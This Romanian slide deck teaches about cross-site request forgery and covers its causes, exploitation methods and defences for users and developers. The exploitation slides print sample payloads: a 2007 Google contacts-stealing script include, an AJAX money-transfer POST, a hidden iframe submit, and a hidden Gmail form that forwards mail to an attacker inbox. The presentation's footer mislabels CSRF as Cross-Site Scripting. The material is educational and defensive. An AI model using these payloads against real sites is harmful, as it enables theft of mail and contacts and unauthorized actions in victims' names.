Cross-Site Request Forgery
Alexandru Coman
www.alexcoman.com
Cuvânt înainte
Deși această vulnerabilitate poate cauza neplăceri clienților și poate aduce daune imaginii unui serviciu, foarte mulți dezvoltatori nu iau în calcul acest pericol.
Acesta este motivul pentru care această prezentare a luat naștere.
Cuprins
I. Generalități
aspecte generale
II. Factorii ce favorizează apariția acestei vulnerabilități
atât pentru utilizator cât și pentru dezvoltator
III. Metode de exploatare
exemple de atacuri de tip CSRF
IV. Metode de protecție
atât pentru utilizator cât și pentru dezvoltator
V. Concluzii
I. Generalități
Evoluția în Top 10 vulnerabilități Web
conform Open Web Application Security Project
- Locul 5 - Top 10 OWASP 2007
- Locul 5 - Top 10 OWASP 2010 - 2012
- Locul 8 - Top 10 OWASP 2013
I. Generalități
Interacțiunea cu o aplicație web, accesul la resurse
- în cadrul unei aplicații de obicei există resurse publice și resurse cu acces restricționat
- pentru a accesa o resursă avem nevoie să ne identificăm
- datele noastre și nivelul de acces sunt stocate pentru un interval de timp, folosind prăjiturelele (cookies) sau sesiunile
- aceste date sunt folosite la fiecare interacțiune
I. Generalități
Câteva lucruri despre prăjiturele și sesiuni
-
sunt stocate la client
- pot fi modificate de către client
- sunt folosite pentru a stoca informații despre clienți
- sunt interconectate
- sunt folosite la fiecare interacțiune dintre client și server
Prăjiturele
Sesiuni
- sunt stocate pe server
- nu pot fi modificate de către client
II. Factori ce favorizează CSRF
II.1 Atacurile de tip CSRF sunt posibile deoarece:
- dezvoltatorul nu verifică provenienţa request-ului
- nu există un mecanism care să ateste că utilizatorul a efectuat această acțiune
- proveniența request-ului este verificată incorect
- exemplu: se verifică doar referer-ul
- probleme arhitecturale
- exemplu: acțiunile sunt expuse în link
II. Factori ce favorizează CSRF
II.2 Putem fi victima unui atac de tip CSRF dacă:
- accesăm link-uri din surse nesigure
- folosim un singur browser
- atât pentru interacțiunea cu date sensibile cât și pentru interacțiunea cu date din surse nesigure
- păstrăm informații confidențiale în browser
III. Metode de exploatare
Pentru a exploata o vulnerabilitate de tip CSRF atacatorul va injecta în cadrul unei aplicații terțe un fragment de cod ce va face un request spre o aplicație validă în vederea efectuarii unei acțiuni în numele victimei.
În momentul în care victima va accesa site-ul malițios browserul va face un request valid către aplicația țintă.
III. Metode de exploatare
III. 4 Resursă externă
<script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
google ({
Success: true, Errors: [],
Body: {
AuthToken: {
Value: '********'
},
Contacts: [
{
Id: '***',
Email: 'email at site.afc',
Affinity: ***,
Groups: [
{
id: '^Freq',
value: 'users at dwr.dev.java.net'
}
],
Addressess: [], Phoness: [], Imss: []
},
]}})
Un exemplu făcut public în 2007 de către Jeremiah Grossman prin intermediul căruia se pot fura contactele.
III. Metode de exploatare
III. 3 Request AJAX
function CSRF(){ if (window.XMLHttpRequest){ // Pentru IE7+, Firefox, Chrome, Opera, Safari request=new XMLHttpRequest(); }else{ // Pentru for IE6, IE5 request=new ActiveXObject("Microsoft.XMLHTTP"); } request.onreadystatechange=function(){ if (request.readyState==4 ) { response = request.responseText;
alert("Din păcate ați fost victima unui atac CSRF !");}
} request.open("POST","blog-vulnerabil.afc",true); request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send("sumă=100&moneda=RON&destinatar=afc");
}
Un exemplu sugestiv de atac ce se bazează pe request-uri AJAX se poate găsi aici.
Metode de exploatare
III. 3 Request AJAX
-
este cea mai rapidă și elegantă manieră de a trimite date către aplicația țintă
- facilitează interacțiunea cu aplicația și parcurgerea unor pași de verificare
- a dat naștere la o nouă categorie de CSRF și anume ”Dynamic Cross Site Request Forgery”
III. Metode de exploatare
III. 2 Frame ascuns
Atacatorul ascunde în pagina sa un iframe către site-ul țintă pe care îl populează cu datele dorite de el. Informațiile din formular pot fi trimise atunci când utilizatorul efectuează o acțiune (în exemplul de mai jos, să dea click pe ”Mai multe detalii…”) sau pur și simplu în momentul în care accesează pagina.
<iframe id="csrf-iframe" style="display:none"></iframe> <a href="javascript:csrf();">Mai multe detalii..</a> function csrf() { $('#csrf-iframe').contents().find('#pay-form').submit();
}
III. Metode de exploatare
III. 1 Formular ascuns
Un exemplu făcut public în 2007 ce permite modifcarea filtrelor din Gmail și redirectarea mail-urilor către atacator. Mai multe detalii aici.
<script>document.frame[0].submit();</script>
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="evilinbox@mailinator.com"/> <input type="hidden" name="cf1_from" value=""/> <input type="hidden" name="cf1_to" value=""/> <input type="hidden" name="cf1_subj" value=""/> <input type="hidden" name="cf1_has" value=""/> <input type="hidden" name="cf1_hasnot" value=""/> <input type="hidden" name="cf1_attach" value="true"/> <input type="hidden" name="tfi" value=""/> <input type="hidden" name="s" value="z"/> <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form>
IV. Metode de protecție
IV. 1 Pentru utilizator
În cadrul atacurilor ce exploatează vulnerabilitatea CSRF utilizatorul are cele mai multe de pierdut. Pentru a evita pierderea de informații confidențiale este recomandată:
- Navigarea responsabilă
- Folosirea unor extensii ce aduc un plus de securitate
IV. Metode de protecție
IV 1.2 Folosirea unor extensii
-
NoScript - http://noscript.net/
- restricționează execuția scripturilor nedorite
-
HTTPS Everywhere - https://www.eff.org/https-everywhere
- se asigură că datele dumneavoastră nu sunt transmise pe un canal nesecurizat (acolo unde este disponibil)
IV. Metode de protecție
IV. 1.1 Navigarea responsabilă
-
folosirea mai multor browsere pentru diverse activități:
- pentru navigarea de zi cu zi puteți folosi un browser cu care sunteți familiarizat și vă place
- pentru interacțiunea cu informații sensibile (plăți online, etc) puteți folosi un alt browser (de exemplu un browser minimalist care să vă ofere un plus de securitate)
-
de fiecare dată când ați terminat interacțiunea cu un cont ce conține informații sensibile este de preferat să vă deconectați
-
nu păstrați tab-uri cu aplicații ce conțin informații sensibile și tab-uri cu aplicații necunoscute sau ce provin din surse nesigure
IV. Metode de protecție
IV. 2 Pentru dezvoltator
Dezvoltatorul este singura persoană care poate preveni un atac de tip CSRF, dacă are grijă de următoarele aspecte:
-
toate acțiunile ce provin dintr-o altă sursă decât cele acceptate au potențial malițios
-
toate requesturile ce sunt procesate trebuie să fie valide (nealterate)
IV. Metode de protecție
IV 1.2 Sugestii pentru securizarea aplicațiilor împotriva CSRF
-
pentru acțiunile ce modifică permanent informații sensibile este recomandată cererea confirmării
-
adăugarea unui token (element aleatoriu ce garantează că request-ul provine de la un client legitim)
-
în cazul în care nu este necesară comunicarea între domenii se recomandă folosirea header-ului:
- X-Frame-Options: SAMEORIGIN
IV. Metode de protecție
IV. 2.1 Sugestii pentru securizarea aplicațiilor împotriva CSRF
- în comunicarea între client și aplicație este de preferat să se evite request-urile de tip GET pentru sugerarea acțiunii
-
verificarea header-ului ”Referer”
- este posibil să lipsească și nu trebuie să fie singura metodă de validarea a sursei din care provine request-ul
- atenție acest header poate fi ușor modificat de către atacator
- micșorarea validatății sesiunilor
V. Concluzii
Cross Site Request Forgery reprezintă vulnerabilitatea ce îi permite unui atacator să folosească drepturile de acces ale unei victime și să efectueze acțiuni în numele acesteia prin intermediul unei alte aplicații ce conține cod malițios.
Deși această vulnerabilitate poate cauza neplăceri clienților și poate aduce daune imaginii unui serviciu, foarte mulți dezvoltatori nu iau în calcul acest pericol.
Resurse
[1] Cross Site Request Forgery
https://en.wikipedia.org/wiki/Cross-site_request_forgery
[2] Cross Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[3] AJAX security, Same Origin Policy and CSRF
http://was.defeo.lu/AJAX%20security,%20Same%20Origin%20Policy%20and%20CSRF
[4] CSRF - Cross-Site Request Forgery
http://blog.alexcoman.com/csrf-cross-site-request-forgery/
Întrebări ?
![](https://s3.amazonaws.com/media-p.slid.es/uploads/alexcoman/images/216608/white-guys-question-mark.png)
[RO] CSRF - Cross-Site Scripting
By Alexandru Coman
[RO] CSRF - Cross-Site Scripting
Cross Site Request Forgery sau CSRF este una dintre cele mai răspândite vulnerabilități web ce constă în injectarea sau plasarea unui cod malițios într-o aplicație, ce are ca scop efectuarea unei acțiuni fără voia utilizatorului în cadrul unei aplicații valide.
- 2,000